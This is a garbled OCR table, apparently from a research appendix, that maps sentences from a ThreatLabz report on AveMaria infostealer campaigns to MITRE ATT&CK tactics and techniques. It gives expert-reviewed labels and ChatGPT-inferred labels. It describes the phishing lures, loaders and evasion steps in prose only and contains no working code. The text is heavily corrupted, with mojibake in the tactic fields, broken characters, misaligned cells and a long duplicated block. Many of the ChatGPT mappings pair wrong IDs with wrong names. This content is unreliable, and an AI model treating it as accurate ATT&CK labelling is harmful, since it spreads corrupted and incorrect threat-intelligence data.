malicious .vhdx file attachment WebBypass'}]
designed to launch an AveMaria
infostealer attack.
Upon executing the attached .vhdx | [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
file, researchers observed the 'tid": 'T1553.005', 'technique': 'Mark-of-the-
creation of a new system drive WebBypass'}]
(see Tag 1 in Fig.
Triggering the malicious shortcut | [{'taid": 'TA0011’, 'tactic': 'command-and- 0 1 [0]
file downloads another payload via | control’, 'tid": 'T1105', 'technique':
curl command (see Tag 3 & 4 in 'IngressToolTransfer'}]
Fig.
3 - Behavioral analysis of the .vhdx | [{'taid': 'TA0005', 'tactic': 'defense-evasion’, 0 1 [0]
file and shortcut file 'tid": 'T1553.005', 'technique': 'Mark-of-the-
WebBypass'}]
4 - AveMaria .vhd_campaign [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
Second Case Study attack chain 'tid": 'T1553.005', 'technique': 'Mark-of-the-
WebBypass'}]
Unfortunately the phishing email [{'taid": 'TA0011", 'tactic’: '&< 514!, 'tid": 1} 3 [0,1,2]
for this case study is unavailable, . .. ) . o
so researchers can not identify the | '71105', 'technique’: TREAEE], {taid"
target of these attacks or deduce | 'TA0001’', 'tactic'’: 'initial-access', 'tid":
exactly how the initial payload ‘T1566.001", 'technique':
(.vhd file) was delivered. 'SpearphishingAttachment'}, {'taid': "'TA0005',
'tactic': 'defense-evasion’, 'tid": 'T1553.005',
'technique': 'Mark-of-the-WebBypass'}]
The custom downloader used in [{'taid": 'TA0011", 'tactic': 'command-and- [['malware’, |1 [0]
this AveMaria attack chain control', 'tid": 'T1105', 'technique': 'AveMaria']]
retrieves an encrypted file from a | 'IngressToolTransfer'}]
third party file sharing website and
after downloading and decrypting
in memory, it executes the
decrypted version of the retrieved
payload, which is in PE format.
Because the downloaded payload [{'taid": 'TA0011", 'tactic': 'G5 14!, 'tid": 1} 1 [0]
comes as a data file it can . O N -
successfully evade detections by | T1105', 'technique”: TRAENEEY
AV engines.
6 - Shows the decryption logic to [{'taid": 'TA0011", 'tactic’: '&< 514!, 'tid": 1} 1 [0]
get the second stage payload in . N
PE format. 'T1105', 'technique’: ' TE@AER")]
Mani_pulation of Bits Via Type [{'taid": 'TA0005', 'tactic': 'BHEIkI&", 'tid": 0 1 [0]
ST 'T1197', 'technique': 'bits'}]
It uses the same phishing email [{'taid": 'TAO0O1', 'tactic': 'initial-access', 'tid": | [['malware’, |1 [0]
technique to distribute the main 'T1566.001', 'technique': 'AUloader']]
malicious binary. 'SpearphishingAttachment'}]
This campaign leverages a highly | [{'taid": 'TA0005', 'tactic': 'defense-evasion’, 0 1 [0]

obfuscated Autoit script and Autoit
interpreter to decrypt the

'tid": 'T1140', 'technique":
'DeobfuscateDecodeFilesorinformation'}]




AveMaria binary in memory and
then execute the payload.

The Autoit script is bundled into a | [1'taid'": 'TA0011", 'tactic’: '&< 54!, 'tid": [['malware’, |1 [0]
self-executing compressed file or . .. ) . N 'Autoit']]
executable package known as the | T1105', 'technique”: TRAENEEY
parent payload, which consists of
all the required components to
facilitate the execution of the main
malware.
Vbscript: performs sandbox and [{'taid": 'TA0002', 'tactic': 'execution’, 'tid": 0 1 [0]
AV emulator checks and provides | 'T1059.005', 'technique': 'VisualBasic'}]
the Autoit script to the interpreter.
Autoit Interpreter: runs the script. | [{'taid": 'TA0002', 'tactic': 'execution’, 'tid": 0 1 [0]
'T1059.0083', 'technique':
'WindowsCommandShell'}]
Autoit Script: contains highly [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
obfuscated payload decryption 'tid": 'T1140', 'technique':
and malware execution logic. 'DeobfuscateDecodeFilesorinformation'}]
Tag3: Parent file calls wscript.exe | [¢'taid": 'TA0002', ‘tactic’: "H4T, 'tid": [['actor’, 1 [0]
with an argument of dropped "T1059.005', "technique': 'VB'}] ‘Tag3']
malicious vbscript file. ’ ’ ’
The vbscript file then calls out the | [r'taig': 'TA0002', ‘tactic’: "H4T, 'tid": 0 1 [0]
malicious Autoit script with the 'T1059.005', 'technique': 'VB'}]
interpreter. : ’ que
The execution of Autoit script then | [{'taid': 'TA0005', 'tactic': 'defense-evasion’, 0 1 [0]
leads to process injection of 'tid": 'T1055', 'technique': 'Processinjection'}]
malware into a legitimate file.
13) contains the malicious [{'taid": 'TA0011", 'tactic’: 'G5 14!, 'tid": 1} 1 [0]
AveMaria payload, which when . .. ) . N
executed creates a copy of itself at | T1105', 'technique”: TRAENEEY
the %userprofile%\document
location.
To further evade detection by [{'taid": 'TA0002', 'tactic': "H14T", 'tid": 1} 1 [0]
Windows defender at runtime, the |, . . o .
malware author(s) added the T1059.001", 'technique': 'PowerShell'}]
functionality to exclude the whole
drive prior to the initialization of
the copied file for further infection,
via powershell command as shown
below.
15 - Attackers evade detection by [{'taid": 'TA0002', 'tactic': "H14T", 'tid": 1} 1 [0]
Wl_ndows de_fender by adding this 'T1059.001", 'technique': 'PowerShell'}]
drive exclusion powershell
command
Once the malicious packed binary, | [(taid": 'TA0011", 'tactic’: ‘&< 544", tid: |0 2 [0, 1]
named Adobe5151.exe, is . .. o o
executed, it decrypts the end T1105', 'technique': ' TREAE4'}, {'taid":
payload, steals user sensitive 'TA0005', 'tactic': 'defense-evasion’', 'tid'":
information and establishes C2 ‘T1140', 'technique':
communication for performing 'DeobfuscateDecodeFilesorinformation'}]
exfiltration of the stolen data.
In the same month, researchers [{'taid": 'TA0011", 'tactic’: '&< 514!, 'tid": 0 1 [0]
discovered another phishing . O N -
campaign imitating a generic T1105', 'technique’: ' TR B4 )]
purchase order payment request
with a malicious payload disguised
as a fake invoice attached to the
email.
Extracting the vbscript from the [{'taid": 'TA0002', 'tactic': 'execution’, 'tid": 0 1 [0]

attached zip file what looks like a

'T1059.005', 'technique': 'VisualBasic'}]




pdf filetype but appears with a
script file icon, which serves as an
indicator that the file is in fact a
script disguised as a pdf.

18 - Extracted vbscript file appears | [(taid': 'TA0002", 'tactic': "HIAT', 'tid": 0 2 [0, 1]
to_ have a .pdf filetype e_xtel_'nsi?n 'T1059.005', 'technique': 'VB'}, {'taid":
with a mismatched script file icon 'TA0007", 'tactic': 'discovery', 'tid': 'T1083",
'technique': 'FileandDirectoryDiscovery'}]
The vbscript (see Star 1 in the [{'taid': 'TAO002', ‘tactic’: 4T, 'tid": a 2 [0, 1]
e _an 'T1059.001", 'technique': 'PowerShell'}, {'taid":
obfuscated format, on execution, "TAODO5'. 'tactic': 'defense-evasion'. 'tid':
calls out powershell.exe with "T1027" "technique" ’
command_s consisting of two. 'ObfuscatedFilesorinformation'}]
downloading urls (see Star 2 in the
screenshot below).
The interesting fact is that the [{'taid": 'TA0002', 'tactic': 'execution’, 'tid": 0 1 [0]
vbscript provided only two 'T1059.005', 'technique': 'VisualBasic'}]
downloading urls (as an input), but
as can be seen above (see Star 3
in Fig.
The downloaded files were all [{'taid': 'TA0011", 'tactic': 'command-and- 0 1 [0]
base64 encoded, which after control', 'tid": 'T1132.001", 'technique":
decoding turns out to be 'StandardEncoding'}]
Once all the required files are in [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
place, the same will be used to 'tid": 'T1055', 'technique': 'Processlinjection'}]
perform process injection as
shown below.
The screenshot below shows the [{'taid": 'TA0011", 'tactic’: '@ 514!, 'tid": 0 1 [0]
file properties and strings present | O . L -
inside the malicious payload. T1105', 'technique': ' TREAE4')]
The featured phishing emails [{'taid": 'TA0011", 'tactic': 'G5 14!, 'tid": [['malware’, | 2 [0, 1]
included an ISO file attachment . .. o I 'AveMaria']]
containing the malicious AveMaria | 11105, ‘technique': TREAEE', {'taid"
payload along with three decoy 'TA0001', 'tactic': 'initial-access', 'tid":
documents and four shortcut files. | 'T1566.001", 'technique":
'SpearphishingAttachment'}]
All the shortcut files examined [{'taid": 'TA0002', 'tactic': "#14T", 'tid": 1} 1 [0]
from the attached ISOfile inthis | 1159 001", technique': 'PowerShell')
campaign contain the same
powershell command that
searches for a hardcoded filename
in each drive, as shown below.
The file named gov1i2.exe is the [{'taid": 'TAO003', 'tactic': 'persistence’, 'tid": [['malware’, |1 [0]
actual Avemaria executable which | 'T1547.001", 'technique": '‘Avemaria']]
on execution creates a copy of 'RegistryRunKeysStartupFolder'}]
itself with the hardcoded filename
images.exe
at %userprofile%\documents
folder location, adds run key in the
registry to achieve persistence and
then initiates the copy for further
infection.
In the seventh case study attack [{'taid": 'TA0011", 'tactic': 'G5 14!, 'tid": 0 1 [0]
chain, researchers observed that . O . L -
the “System Binary Proxy T1105', 'technique': ' TR @A)
Execution” detection evasion
technique is used for executing the
end payload.
A malicious HTA file consisting of [{'taid": 'TA0002', 'tactic': "H14T", 'tid": 1} 2 [0, 1]

a vbscript code under <script> tag,

'T1059.005', 'technique': 'VB'}, {'taid":




is used to download the end
payload.

"TA0011', 'tactic': 'ap < S5 EH', 'tid": 'T1105',
'technique': ' TEBEREH"]

The phishing email file associated | [{'taid": 'TA0001’, 'tactic': 'initial-access', 'tid": |[] 2 [0, 1]
with this attack chain was 'T1566.001', 'technique':

unavailable, but we anticipate that | 'SpearphishingAttachment'}, {'taid': 'TA0005',

the .iso file is being distributed as | 'tactic': 'defense-evasion’, 'tid": 'T1553.005',

an attachment only. 'technique': 'Mark-of-the-WebBypass'}]

The shortcut files extracted from | ((taid': "TA0002', 'tactic': "HiAT", 'tid": 0 2 [0, 1]
the atta:‘:hlfd ISO flledconzlst ofa 'T1059.001", 'technique': 'PowerShell}, {'taid":

pg:vers tedcor:;m:n ant :oTe 'TA0005', 'tactic': 'defense-evasion’, 'tid":

o L!sca: ﬁo S ecn;p ITb'a 'T1553.005', 'technique': 'Mark-of-the-

runtime by the powershell binary. WebBypass'}]

Executing shortcut files [{'taid': 'TAO005', 'tactic': 'F5{HIWkIR", 'tid': [['malware’, |1 [0]
downloads malicious .hta . - o \ ‘shortcut']]

extension file and thereafter T1218.005, "technique': ‘mshta}]

executes the latter via mshta.exe.

Stage 2: HTA file generating third [{'taid": 'TA0002', 'tactic': "H14T", 'tid": 1} 1 [0]
e D e I 'T1059.001", 'technique': 'PowerShell'}]

The .hta file consists of a vbscript | [{'taid': 'TA0002', 'tactic': "H117", 'tid": 0 3 [0,1,2]
under <script> tag generates an T4 1' technigue": 'P hell™}. {'taid":

obfuscated third stage powershell | 059.0IOI ’ ec ?qu_el " .olwlerS ell’ { Ia|d '

code when executed and then the TA0002', 'tactic": #LTT , 'tid": 'T1059.005',

latter is passed as an argument to | 'technique': 'VB'}, {'taid": 'TA000S', 'tactic":

legitimate powershell binary for 'defense-evasion’, 'tid": 'T1027', 'technique':

further execution. 'ObfuscatedFilesorinformation'}]

28 - Obfuscated third stage [{'taid": 'TAO002', 'tactic': "HIAT", 'tid": 0 1 (0]
oG 'T1059.001', 'technique': 'PowerShell'}]

Stage 3: Generated PowerShell [{'taid": 'TA0002', 'tactic': "#14T", 'tid": 0 1 [0]
gods 'T1059.001", 'technique': 'PowerShell'}]

After researchers decoded and [{'taid': 'TAO002', 'tactic': 'HI4T", 'tid": I 1 [0]
bea_utlfled L obfusca.ted ZEIEIE 'T1059.001', 'technique': 'PowerShell'}]

legible powershell script was

revealed containing the following

key functions:

Main function: contains the logic [{'taid": 'TAO00Q7', 'tactic': 'discovery', 'tid": 0 1 [0]
to check for file at %appdata% 'T1083', 'technique':

folder (see blue bracket on the 'FileandDirectoryDiscovery'}]

right in the screenshot below)

Decoding function: contains the [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
logic to decode encoded data (see | 'tid': 'T1140', 'technique':

red box in the screenshot below) 'DeobfuscateDecodeFilesorinformation'}]

Downloading function: contains [{'taid": 'TA0011", 'tactic': 'command-and- 0 1 [0]
code related to initiating web control', 'tid": 'T1105', 'technique':

connection object which 'IngressToolTransfer'}]

downloads the files (see green box

in the screenshot below)

29 - Decrypted and beautified [{'taid": 'TA0002', 'tactic': "#14T", 'tid": 0 1 [0]
version of powershell script 'T1059.001", 'technique': 'PowerShell'}]

The powershell script shown [{'taid": 'TA0002', 'tactic': "H#14T", 'tid": [['malware’, |2 [0,1]
above downloads and executes 'AveMaria']]

the AveMaria stealer malware onto
the target system in the last stage
of the attack.

'T1059.001', 'technique': 'PowerShell'}, {'taid":

'TA0011', 'tactic': 'command-and-control’,
'tid": 'T1105', 'technique":
'IngressToolTransfer'}]




Expert Review Result

sent ttps entities ttps_pred_count | ttps_accept_idx
AveMaria attacks are initiated via | [{'taid": 'TA0011', 'tactic': 'command-and- [['malware’, |1 [0]
phishing emails, once the dropped | control’, 'tid": 'T1573.001", 'technique': 'AveMaria']]
payload infects the victim’s 'SymmetricCryptography'}]
machine with the malware, it
establishes communication with
the attacker’s Command-and-
Control (C2) server on non-HTTP
protocol, after decrypting its C2
connection using RC4 algorithm.
The most recent variation in the [{'taid": 'TAO005', 'tactic': 'defense-evasion’, [['malware’, |1 [0]
AveMaria attack chain technique 'tid": 'T1140', 'technique': '‘AveMaria']]
leverages a custom downloader 'DeobfuscateDecodeFilesorinformation'}]
that decrypts a disguised payload
by converting the value data type
to another, known as type casting.
DECEMBER | .Vhd(x)_campaign [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
'tid": 'T1553.005', 'technique': 'Mark-of-the-
WebBypass'}]
In December, ThreatLabz [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
researchers identified the 'tid": 'T1553.005', 'technique': 'Mark-of-the-
AveMaria .Vhd(x) campaign. WebBypass'}]
This campaign is defined by the [{'taid": 'TA0011", 'tactic’: '@ 514!, 'tid": 0 1 0
discovery of a new execution
technique that uses the Virtual 'T1105", 'technique': ' TREX &4}
Hard Disk file format to drop the
malicious downloader payload in
one of the two formats onto the
victim’s machine.
.Vhd(x) campaign Targeting [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
Kazakhstan Officials 'tid": 'T1553.005', 'technique': 'Mark-of-the-
WebBypass'}]
1 - AveMaria .vhd(x)_campaign [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
First Case Study attack chain 'tid": 'T1553.005', 'technique': 'Mark-of-the-
WebBypass'}]
In this scenario, phishing emails [{'taid": 'TAO0O1', 'tactic': 'initial-access', 'tid': |[] 2 [0, 1]
impersonating the Russian 'T1566.001', 'technique':
government targeted Kazakhstan | 'SpearphishingAttachment'}, {"taid": "'TA0005',
officials with a malicious .vhdx file | 'tactic': 'defense-evasion’, 'tid": 'T1553.005',
disguised as a fake meeting ‘technique’: ‘Mark-of-the-WebBypass'}]
notice.
2 - Screenshot of a phishing email | [{'taid": 'TA0005', 'tactic': 'defense-evasion’, 0 1 [0]
targeting Kazakhstan officials with | 'tid': 'T1553.005', 'technique': 'Mark-of-the-
malicious .vhdx file attachment WebBypass'}]
designed to launch an AveMaria
infostealer attack.
Upon executing the attached .vhdx | [{'taid": 'TA0005', 'tactic': 'defense-evasion', 0 1 [0]
file, researchers observed the 'tid": 'T1553.005', 'technique': 'Mark-of-the-
creation of a new system drive WebBypass'}]
(see Tag 1 in Fig.
Triggering the malicious shortcut | [{'taid": 'TA0011’, 'tactic': 'command-and- 0 1 [0]
file downloads another payload via | control', 'tid": 'T1105', 'technique':
curl command (see Tag 3 & 4 in 'IngressToolTransfer'}]
Fig.
3 - Behavioral analysis of the .vhdx | [{'taid': 'TA0005', 'tactic': 'defense-evasion’, 0 1 [0]

file and shortcut file

'tid": 'T1553.005', 'technique': 'Mark-of-the-
WebBypass'}]




4 - AveMaria .vhd_campaign [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
Second Case Study attack chain 'tid": 'T1553.005', 'technique': 'Mark-of-the-
WebBypass'}]
Unfortunately the phishing email [{'taid": 'TAO011", tactic': '"&< 524", 'tid": 0 3 [1.2]
for this case study is unavailable, | O N o e
so researchers can not identify the | 71105', 'technique”: TRAENERET, {'taid"
target of these attacks or deduce 'TA0001', 'tactic': 'initial-access', 'tid":
exactly how the initial payload 'T1566.001', 'technique':
(.vhd file) was delivered. 'SpearphishingAttachment'}, {'taid': "'TA0005',
'tactic': 'defense-evasion’, 'tid": 'T1553.005',
'technique': '"Mark-of-the-WebBypass'}]
The custom downloader used in [{'taid": 'TA0011’, 'tactic': 'command-and- [['malware’, |1 [0]
this AveMaria attack chain control', 'tid": 'T1105', 'technique': '‘AveMaria']]
retrieves an encrypted file from a | 'IngressToolTransfer'}]
third party file sharing website and
after downloading and decrypting
in memory, it executes the
decrypted version of the retrieved
payload, which is in PE format.
Because the downloaded payload | [r'taid': 'TA0011", 'tactic’: '&< 55", 'tid": 0 1 [0]
comes as a data file it can . .. N N
successfully evade detections by | T1105', 'technique”: TRAENEEY
AV engines.
6 - Shows the decryption logic to | [r'taid": 'TA0011", 'tactic’: '&< 54!, 'tid": 1} 1 1}
get the second stage payload in ) N
PE format. 'T1105', 'technique': ' TR B AEH")]
Manipulation of Bits Via Type [{'taid": 'TA0005', 'tactic': 'FHIki%", 'tid": I 1 I
Casting 'T1197', 'technique': 'bits'}]
It uses the same phishing email [{'taid": 'TAO00O1", 'tactic': 'initial-access', 'tid": | [['malware’, |1 [0]
technique to distribute the main ‘T1566.001", 'technique': ‘AUloader']]
malicious binary. 'SpearphishingAttachment'}]
This campaign leverages a highly | [{'taid": 'TA0005', 'tactic': 'defense-evasion’, 0 1 [0]
obfuscated Autoit script and Autoit | 'tid": 'T1140', 'technique':
interpreter to decrypt the 'DeobfuscateDecodeFilesorinformation'}]
AveMaria binary in memory and
then execute the payload.
The Autoit script is bundled into a [{'taid": 'TA0011", 'tactic’: 'G5 14!, 'tid": [['malware’, |1 [0]
self-executing compressed file or . O . L N 'Autoit']]
executable package known as the | 11105, ‘technique': TREAEE)]
parent payload, which consists of
all the required components to
facilitate the execution of the main
malware.
Vbscript: performs sandbox and [{'taid": 'TA0002', 'tactic': 'execution’, 'tid": 0 1 0
AV emulator checks and provides | 'T1059.005', 'technique': 'VisualBasic'}]
the Autoit script to the interpreter.
Autoit Interpreter: runs the script. | [{'taid: 'TA0002', 'tactic': 'execution’, 'tid": 0 1 0
'T1059.0083', 'technique':
'WindowsCommandShell'}]
Autoit Script: contains highly [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
obfuscated payload decryption 'tid": 'T1140', 'technique':
and malware execution logic. 'DeobfuscateDecodeFilesorinformation'}]
Tag3: Parent file calls wscript.exe [{'taid": 'TA0002', 'tactic': "#14T", 'tid": [['actor’, 1 [0]
with an argument of dropped T1059.005", 'technique': 'VB')] Tag3'l]
malicious vbscript file.
The vbscript file then calls out the | [r'taig": 'TA0002', ‘tactic’: '"H4T, 'tid": 0 1 [0]

malicious Autoit script with the
interpreter.

'T1059.005', 'technique': 'VB'}]




The execution of Autoit script then | [{'taid': 'TA0005', 'tactic': 'defense-evasion’, [0]
leads to process injection of 'tid": 'T1055', 'technique': 'Processlinjection'}]
malware into a legitimate file.
1A3) ;tlmt_ains tl|1e r:alizi_ozs . [{'taid": 'TA0011", 'tactic": '@ 25!, 'tid": 0
veMaria payload, which when . .. — N
executed creates a copy of itself at | T1105', 'technique”: TRANEEY
the %userprofile%\document
location.
TW° f:”hefde‘;adz detection by b | [(taid: TAO02', “actic”: HAfT, tid: [0]
indows defender at runtime, the |, o . - ,
malware author(s) added the T1059.001", 'technique': '‘PowerShell'}]
functionality to exclude the whole
drive prior to the initialization of
the copied file for further infection,
via powershell command as shown
below.
15 - Attackers evade detection by | ((taid": 'TA0002', 'tactic': "#14T", 'tid": [0]
Wl_ndows de_fender by adding this 'T1059.001", 'technique': 'PowerShell'}]
drive exclusion powershell
command
Once the malicious packed binary, [{'taid": 'TA0011", 'tactic’: '@ 514!, 'tid": [1]
named Adobe5151.exe, is ) N i
executed, it decrypts the end 'T1105', 'technique’: ' TREX &4}, {'taid":
payload, steals user sensitive 'TA0005', 'tactic': 'defense-evasion’, 'tid'":
information and establishes C2 ‘T1140', 'technique':
communication for performing 'DeobfuscateDecodeFilesorinformation'}]
exfiltration of the stolen data.
In the same month, researchers [{'taid": 'TA0011", 'tactic': 'G5 14!, 'tid": [1]
discovered another phishing . L L -
campaign imitating a generic T1105', 'technique’: ' TR B4 )]
purchase order payment request
with a malicious payload disguised
as a fake invoice attached to the
email.
Extracting the vbscript from the [{'taid": 'TAD002', 'tactic': 'execution’, 'tid": [0]
attached zip file what looks like a | 'T1059.005', 'technique': 'VisualBasic'}]
pdf filetype but appears with a
script file icon, which serves as an
indicator that the file is in fact a
script disguised as a pdf.
18 - Extracted vbscript file appears [{'taid": 'TA0002', 'tactic': "H14T", 'tid": [0]
to have a .pdf filetype extension "T1059.005', 'technique': 'VB'}, {'taid":
with a mismatched script file icon "TA00O7' 't:;lctic': 'discovery' :tid': "T1083'
'technique': 'FileandDirectoryDiscovery'}]
The vbscript (see Star_1 in_ tI'_le [{'taid': 'TA0002', 'tactic': "H147", 'tid": [0, 1]
screenshot below) which is in _an 'T1059.001", 'technique': 'PowerShell}, {'taid":
obfuscated format, on execution, "TAODO5'. 'tactic': 'defense-evasion'. 'tid':
calls out powershell.exe with "T1027" "techniqﬁe" ’ '
command_s consisting of two. 'ObfuscatedFilesorinformation'}]
downloading urls (see Star 2 in the
screenshot below).
The interesting fact is that the [{'taid": 'TA0002', 'tactic': 'execution’, 'tid": [0]
vbscript provided only two 'T1059.005', 'technique': 'VisualBasic'}]
downloading urls (as an input), but
as can be seen above (see Star 3
in Fig.
The downloaded files were all [{'taid": 'TA0011', 'tactic': 'command-and- 0
base64 encoded, which after control', 'tid": 'T1132.001", 'technique":
decoding turns out to be 'StandardEncoding'}]
Once all the required files are in [{'taid": 'TAO005', 'tactic': 'defense-evasion’, [0]

place, the same will be used to

'tid": 'T1055', 'technique': 'Processlinjection'}]




perform process injection as
shown below.

The screenshot below shows the | [('taid": 'TA0011", 'tactic’: '&< 54!, 'tid": 1} 1 1}
file properties and strings present . .. ) . N
inside the malicious payload. T1105', 'technique’: ' TR EIA{E4')]
The featured phishing emails [{'taid": 'TA0011", 'tactic’: '@ < 514!, 'tid": [['malware’, | 2 [1]
included an ISO file attachment . O o o ‘AveMaria']]
containing the malicious AveMaria | 11105, ‘technique': TREAEE', {'taid"
payload along with three decoy 'TA0001', 'tactic': 'initial-access', 'tid":
documents and four shortcut files. | 'T1566.001', 'technique':
'SpearphishingAttachment'}]
All the shortcut files examined [{'taid': 'TA0002', ‘tactic’: "H4T", 'tid": 0 1 [0]
from tl'!e attache_d ISO file in this 'T1059.001", 'technique': 'PowerShell'}]
campaign contain the same
powershell command that
searches for a hardcoded filename
in each drive, as shown below.
The file named gov1i2.exe is the [{'taid": 'TAO003', 'tactic': 'persistence’, 'tid": [['malware’, |1 [0]
actual Avemaria executable which | 'T1547.001", 'technique": '‘Avemaria']]
on execution creates a copy of 'RegistryRunKeysStartupFolder'}]
itself with the hardcoded filename
images.exe
at %userprofile%\documents
folder location, adds run key in the
registry to achieve persistence and
then initiates the copy for further
infection.
In the seventh case study attack [{'taid": 'TA0011", 'tactic’: '&< 514!, 'tid": 1} 1 1}
chain, researchers observed that . .. ) . N
the “System Binary Proxy T1105', 'technique': ' TR @A)
Execution” detection evasion
technique is used for executing the
end payload.
A malicious HTA file consisting of | [('taid'": 'TA0002', 'tactic': 'Hi47", 'tid": a 2 [0, 1]
a vbscript code under <script> tag, | , o . B et
is used to download the end T1059.005", tc.echnfue i \iB A t,ald ’
payload. 'TA0011', 'tactic': '@ 5=, 'tid": 'T1105',
'technique’: ' T EERNEH')]
The phishing email file associated | [{'taid": 'TA0001’, 'tactic': 'initial-access', 'tid": |[] 2 [0, 1]
with this attack chain was 'T1566.001', 'technique':
unavailable, but we anticipate that | 'SpearphishingAttachment'}, {'taid': 'TA0005',
the .iso file is being distributed as | 'tactic': 'defense-evasion’, 'tid": 'T1553.005',
an attachment only. 'technique': 'Mark-of-the-WebBypass'}]
The shortcut files extracted from | (itaid': "TA0002', 'tactic': "HiAT", 'tid": 0 2 [0, 1]
i atta:‘:h;d e flledcon(sjlst @ 'T1059.001", 'technique': 'PowerShell'}, {'taid":
pz:vers tedcor:;m:n ant :or:e ‘TA00OQS5', 'tactic': 'defense-evasion', 'tid":
obluscated code decrypled a 'T1553.005', 'technique': 'Mark-of-the-
runtime by the powershell binary. WebBypass'}]
Executing shortcut files [{'taid": 'TA0005', 'tactic': 'BHEIkI&", 'tid": [['malware’, |1 [0]
downloads malicious .hta . - I \ ‘shortcut']]
extension file and thereafter T1218.005, "technique': ‘mshta’}]
executes the latter via mshta.exe.
Stage 2: HTA file generating third [{'taid": 'TA0002', 'tactic': "H14T", 'tid": 1} 1 [0]
e el el 'T1059.001', 'technique': 'PowerShell'}]
The .hta file consists of a vbseript | [1'taid": 'TA0002', 'tactic’: "H4T', 'tid": 1 3 0,1,2]

under <script> tag generates an

obfuscated third stage powershell
code when executed and then the
latter is passed as an argument to

'T1059.001", 'technique': 'PowerShell'}, {'taid":
'TA0002', 'tactic': 'H11T", 'tid": 'T1059.005',
'technique': 'VB'}, {'taid": 'TA0005', 'tactic':




legitimate powershell binary for 'defense-evasion’, 'tid": 'T1027', 'technique':
further execution. 'ObfuscatedFilesorinformation'}]
28 - Obfuscatef:l third stage [{'taid": 'TA0002', 'tactic': "H14T", 'tid": 1} 1 [0]
oG 'T1059.001', 'technique': 'PowerShell'}]
Stage 3: Generated PowerShell [{'taid": 'TA0002', 'tactic': "H14T", 'tid": 1} 1 [0]
Bl 'T1059.001', 'technique': 'PowerShell'}]
After researchers decoded and [{'taid": 'TA0002', 'tactic': "$14T", 'tid": I 1 0]
bee?utlfled the obfusca_ted script a 'T1059.001", 'technique': 'PowerShell'}]
legible powershell script was
revealed containing the following
key functions:
Main function: contains the logic [{'taid": 'TAO00Q7', 'tactic': 'discovery', 'tid": 0 1 [0]
to check for file at %appdata% 'T1083', 'technique':
folder (see blue bracket on the 'FileandDirectoryDiscovery'}]
right in the screenshot below)
Decoding function: contains the [{'taid": 'TAO005', 'tactic': 'defense-evasion’, 0 1 [0]
logic to decode encoded data (see | 'tid": 'T1140', 'technique":
red box in the screenshot below) 'DeobfuscateDecodeFilesorinformation'}]
Downloading function: contains [{'taid": 'TA0011", 'tactic': 'command-and- 0 1 [0]
code related to initiating web control', 'tid": 'T1105', 'technique':
connection object which 'IngressToolTransfer'}]
downloads the files (see green box
in the screenshot below)
29 - Decrypted and beautified [{'taid': 'TAD002', 'tactic': AT, 'tid": 0 1 [0
st el e el 'T1059.001', 'technique': 'PowerShell'}]
The powershell script shown [{'taid": 'TA0002', 'tactic': "H14T", 'tid": [['malware’, |2 [0,1]
o dowr_lloads AR COENES 'T1059.001', 'technique': 'PowerShell'}, {'taid": AveMaria']
the AveMaria stealer malware onto |, " C )
h X TA0011', 'tactic': 'command-and-control',
the target system in the last stage 'tid": 'T1105', 'technique':
of the attack. 'IngressToolTransfer'}]
ChatGPT Infer Result
text tts ttps_pred_cou | ttps_accept_i
nt dx
Zscaler’s ThreatLabz research team diligently monitors and tracks [{'taid": 'TAO0OO5', 'tactic': | 4 [0,1,2,3]
active threat campaigns globally to rapidly detect new developments 'Collection’, 'tid":
and proactively safeguard Zscaler customers. ‘T1567.002', 'technique':
'Steal Web Session
Cookie(T1567.002)'},
{'taid': 'TA0040', 'tactic':
'Discovery’, 'tid":
'T1583', 'technique':
'Acquire
Infrastructure(T1583)'},
{'taid': 'TA0040', 'tactic':
'Discovery’, 'tid":
'T1582', 'technique:
'ldentify
Infrastructure(T1582)'},
{'taid': 'TA0003', 'tactic":
'Credential Access', 'tid":
'T1555.008', 'technique':
'Steal Web
Credentials(T1555.003)'}]
The seven case studies that follow provide an in-depth analysis of the | [{'taid': 'TA0040', 'tactic": | 4 [0,1,2,3]
AveMaria infostealer attack chain and how it has been shifting over ‘Discovery’, 'tid":
the past six months. 'T1589', 'technique':
'Conduct Active
Scanning(T1589)'},




{'taid': 'TA0005', 'tactic':
'Collection’, 'tid":
'T1556.002', 'technique':
'Modify System Image to
Persist via Boot
loader(T1556.002)'},
{'taid": 'TA0040', 'tactic":
'Discovery’, 'tid":
'T1590', 'technique':
'Conduct Passive
Scanning(T1590)'},
{'taid': 'TA0003', 'tactic":
'Credential Access', 'tid":
'T1555.0083', 'technique':
'Steal Web

Credentials(T1555.003)'}]
AveMaria is a Remote Access Trojan (RAT) infostealer malware that [{'taid": 'TA0002', 'tactic': [0]
targets sensitive data with added capabilities of remote camera 'Initial Access', 'tid":
control and privilege escalation. 'T1566', 'technique':
'Phishing(T1566)'}]
Over the past six months, researchers have observed significant [{'taid": 'TAO00OQ', 'tactic': [0]
changes and additions to the execution stages and Tactics, 'Planning', 'tid': 'T1185',
Techniques, and Procedures that characterize an AveMaria attack. 'technique': 'Execution
through API(T1185)'}]
AveMaria attacks are initiated via phishing emails, once the dropped [{'taid": 'TA0002', 'tactic': [0, 1]
payload infects the victim’s machine with the malware, it establishes 'Initial Access', 'tid":
communication with the attacker’s Command-and-Control (C2) server | 'T1566', 'technique':
on non-HTTP protocol, after decrypting its C2 connection using RC4 'Phishing(T1566)'},
algorithm. {'taid': 'TA0002', 'tactic":
‘Command and Control
', 'tid": 'T1573.001",
'technique': 'Encrypted
Channel(T1573.001)'}]
The most recent variation in the AveMaria attack chain technique [{'taid": 'TAO00OQ', 'tactic': [0, 1]
leverages a custom downloader that decrypts a disguised payload by | 'Defense Evasion’, 'tid":
converting the value data type to another, known as type casting. ‘T1027', 'technique':
'Obfuscated Files or
information(T1027)'},
{'taid': 'TA0000', 'tactic':
'Defense Evasion', 'tid'":
'T1027.002', 'technique':
'"Type
Casting(T1027.002)'}]
Analysis of AveMaria 2022 Case Studies [{'taid": 'TAO00OQ', 'tactic': [0]
